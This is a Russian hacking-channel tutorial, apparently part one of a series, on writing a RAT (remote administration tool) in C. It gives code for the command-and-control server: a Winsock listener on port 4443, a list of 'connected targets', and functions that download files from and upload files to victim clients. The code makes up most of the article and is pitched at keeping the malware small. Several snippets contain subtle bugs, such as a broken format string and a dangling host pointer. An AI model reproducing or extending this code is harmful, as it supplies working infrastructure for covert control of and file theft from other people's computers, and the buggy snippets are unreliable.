Пишем RAT (remote administration tool) на C. Часть 1

Пишем RAT (remote administration tool) на C. Часть 1

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Возможно, вы захотите узнать зачем нужен C, когда есть Python? 

Если сравнивать Си и Питон, вы наверняка заметите разницу в количестве кода, для одного и того же действия, и польза будет явно не у Си.

Но сложность компенсируется размером скомпилированного приложения. В конце статьи мы сравним вес RAT-ов на Python с похожим функционалом и вес RAT-a на C. 

Еще один минус Питона – для запуска файлов .py, на системе должен быть установлен этот самый Питон, конечно, вы можете скомпилировать скрипт, с помощью pyinstaller, но тогда ваши 20-30 килобайт кода превратятся в 20-30 мегабайт. Происходит это потому, что при компиляции к вашему коду добавляются не только библиотеки, но и интерпретатор, делая размер просто гигантским по сравнению с Си.

Помимо веса, важна скорость работы и тут Python тоже отстаёт, конечно, существуют библиотеки вроде pypy, но даже они не сравняться со скоростью C. 

Сервер C2 

Как и в прошлый раз, у нас будет управляющий сервер (C2), к которому будут подключатся клиенты. Для начала создадим заголовочный файл tools.h, в нем будут некоторые функции, которые мы будем использовать в клиенте и сервере (осторожно, дальше много кода).

    #ifndef TOOLS_H
    #define TOOLS_H
    #define BUFLEN 8192
    #define MEM_CHUNK 5
     // Функция чтения/хранения stdin пока “\n” не будет найдено
    size_t get_line(char* const buf) {
          char c;
          // Длина команды в байтах
          size_t cmd_len = 0;
          // Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0
          buf[cmd_len++] = ‘0’;
          // getchar() возвращает очередной символ из файла stdin, который считывается как пере­менная типа unsigned char
          c = getchar();
          while (c != ‘\n’ && cmd_len < BUFLEN) {
                buf[cmd_len++] = c;
                c = getchar();
          }
          return cmd_len;
    }
    // Функция сравнения двух строк
    int compare(const char* buf, const char* str) {
          for (int j = 0; str[j] != ‘\0’; j++) {
                if (str[j] != buf[j])
                      return 0;
          }
          return 1;
    }
    // Функция копирования int байтов в новый блок памяти
    static inline uint32_t ntohl_conv(char* const buf) {
          uint32_t new;
          memcpy(&new, buf, sizeof(new));
          // Возвращаем переменную new после десериализации
          return ntohl(new);
    }
    #endif

Теперь создадим файл win_server.c, в котором добавим нужные библиотеки и создадим структуры с переменными:

    #include <WS2tcpip.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include “tools.h”
    #pragma comment(lib, “ws2_32.lib”)
    typedef struct {
          // Переменная с айпи/именем хоста
          char* host;
          // Переменная с сокетом
          SOCKET sock;
    } Conn;
    typedef struct {
          // Мьютекс для проверки race condition
          HANDLE ghMutex;
          // Сокет сервера для приема подключений
          SOCKET listen_socket;
          // Массив Conn объектов/структур
          Conn* clients;
          // Выделенные блоки памяти
          size_t alloc;
          // К-во используемой памяти
          size_t size;
    } Conn_map;
    typedef int (*func)(char*, size_t, SOCKET);

Напишем функции создания и закрытия сокета:

    // Функция закрытия сокета.
    void terminate_server(SOCKET socket, char* error) {
          int err_code = 0;
          if (error) {
                fprintf(stderr, “%s: ld\n”, error, WSAGetLastError());
                err_code = 1;
          }
          closesocket(socket);
          /*
        Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
        Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
        Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
        */
          WSACleanup();
          exit(err_code);
    }
    
        // Функция создания сокета.
    const SOCKET create_socket() {
          // Инициализируем winsock.
          WSADATA wsData;
          WORD ver = MAKEWORD(2, 2);
        /* Функция WSAStartup инициализирует структуру данных WSADATA.
        Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
        каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
        и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
        */
          int wsResult = WSAStartup(ver, &wsData);
          // Создаем сокет сервера.
          const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0);
          /* В случае возникновения ошибки на этапе создания сокета сервера
          выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает
          */
          if (listen_socket == INVALID_SOCKET) {
                fprintf(stderr, “Socket creation failed: %ld\n”, WSAGetLastError());
                WSACleanup();
                exit(1);
          }
          int optval = 1;
          if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0)
                terminate_server(listen_socket, “Error setting socket options”);
          return listen_socket;
    }

Функция привязки сокета к указанному порту:

    // Функция для привязки сокета к указанному порту
    void bind_socket(const SOCKET listen_socket, const int port) {
          // Создаем hint структуру.
          struct sockaddr_in hint;
          hint.sin_family = AF_INET;
          // Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт
          hint.sin_port = htons(port);
          hint.sin_addr.S_un.S_addr = INADDR_ANY;
          // Привязка ip-адреса и порта к listen_socket.
          if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0)
                terminate_server(listen_socket, “Socket bind failed with error”);
          // Переводим listen_socket в состояние “прослушивания”
          if (listen(listen_socket, SOMAXCONN) != 0)
                terminate_server(listen_socket, “An error occured while placing the socket in listening state”);
    }

Рекурсивный прием соединений:

    // Поток для рекурсивного приема соединений
    DWORD WINAPI accept_conns(LPVOID* lp_param) {
          Conn_map* conns = (Conn_map*)lp_param;
          conns->alloc = MEM_CHUNK;
          conns->size = 0;
          conns->clients = malloc(conns->alloc * sizeof(Conn));
          conns->listen_socket = create_socket();
          // Порт, на котором мы будем ждать подключений
          bind_socket(conns->listen_socket, 4443);
          while (1) {
                struct sockaddr_in client;
                int c_size = sizeof(client);
                // Сокет клиента.
                const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size);
                if (client_socket == INVALID_SOCKET)
                      terminate_server(conns->listen_socket, “Error accepting client connection”);
                // Имя и порт клиента.
                char host[NI_MAXHOST] = { 0 };
                char service[NI_MAXHOST] = { 0 };
                if (conns->size == conns->alloc)
                      conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn));
                if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) {
                      printf(“%s connected on port %s\n”, host, service);
                }
                else {
                      inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST);
                      printf(“%s connected on port %hu\n”, host, ntohs(client.sin_port));
                }
                // Если delete_conn() выполняется – ждём, пока он закончит изменять conns->clients
                WaitForSingleObject(conns->ghMutex, INFINITE);
                // Добавляем имя хоста и объект client_socket в структуру Conn.
                conns->clients[conns->size].host = host;
                conns->clients[conns->size].sock = client_socket;
                conns->size++;
                ReleaseMutex(conns->ghMutex);
          }
          return -1;
    }

Список подключенных клиентов:

    // Функция, которая показывает список доступных подключений
    void list_connections(const Conn_map* conns) {
          printf(“\n\n—————————\n”);
          printf(“—  CONNECTED TARGETS  —\n”);
          printf(“–     Hostname: ID      –\n”);
          printf(“—————————\n\n”);
          if (conns->size) {
                for (size_t i = 0; i < conns->size; i++) {
                      printf(“%s: %lu\n”, conns->clients[i].host, i);
                }
                printf(“\n\n”);
          }
          else {
                printf(“No connected targets available.\n\n\n”);
          }
    }

Теперь создадим функции, которые будут отправлять команды клиенту:

Скачивание файла:

    // Функция скачивания файла
    int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
          // ‘4’ – код команды для скачивания файла
          buf[9] = ‘4’;
          // Отправляем код команды и имя файла
          if (send(client_socket, &buf[9], cmd_len, 0) < 1)
                return SOCKET_ERROR;
          FILE* fd = fopen(&buf[10], “wb”);
          // Получаем сериализованный размер файла
          if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
                return SOCKET_ERROR;
          // Десериализируем размер файла в байтах
          uint32_t f_size = ntohl_conv(&*(buf));
          // Меняем i_result на true
          int i_result = 1;
          // Переменная для отслеживания загруженных данных
          long int total = 0;
          // Получить все байты/фрагменты файла и записать их в файл
          while (total != f_size && i_result > 0) {
                i_result = recv(client_socket, buf, BUFLEN, 0);
                fwrite(buf, 1, i_result, fd);
                total += i_result;
          }
          // Закрываем файл
          fclose(fd);
          return i_result;
    }

Отправка файла:

    // Функция отправки файла.
    int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
          // ‘3’ – код команды для отправки файла
          buf[7] = ‘3’;
          // Отправляем код команды и имя файла
          if (send(client_socket, &buf[7], cmd_len, 0) < 1)
                return SOCKET_ERROR;
          // Открываем файл
          FILE* fd = fopen(&buf[8], “rb”);
          uint32_t bytes = 0, f_size = 0;
          // Еслий файл существует:
          if (fd) {
                // Получаем размер файла
                fseek(fd, 0L, SEEK_END);
                f_size = ftell(fd);
                // Сериализация f_size.
                bytes = htonl(f_size);
                fseek(fd, 0L, SEEK_SET);
          }
          if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
                return SOCKET_ERROR;
          // Меняем i_result на true
          int i_result = 1;
          if (f_size) {
                // Рекурсивно читаем и отправляем байты файла клиенту
                int bytes_read;
                while (!feof(fd) && i_result > 0) {
                      if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
                            // Отправляем байты файла.
                            i_result = send(client_socket, buf, bytes_read, 0);
                      }
                      else {
                            break;
                      }
                }
                // Закрываем файл
                fclose(fd);
          }
          return i_result;
    }

Продолжение следует…

Источник



Report Page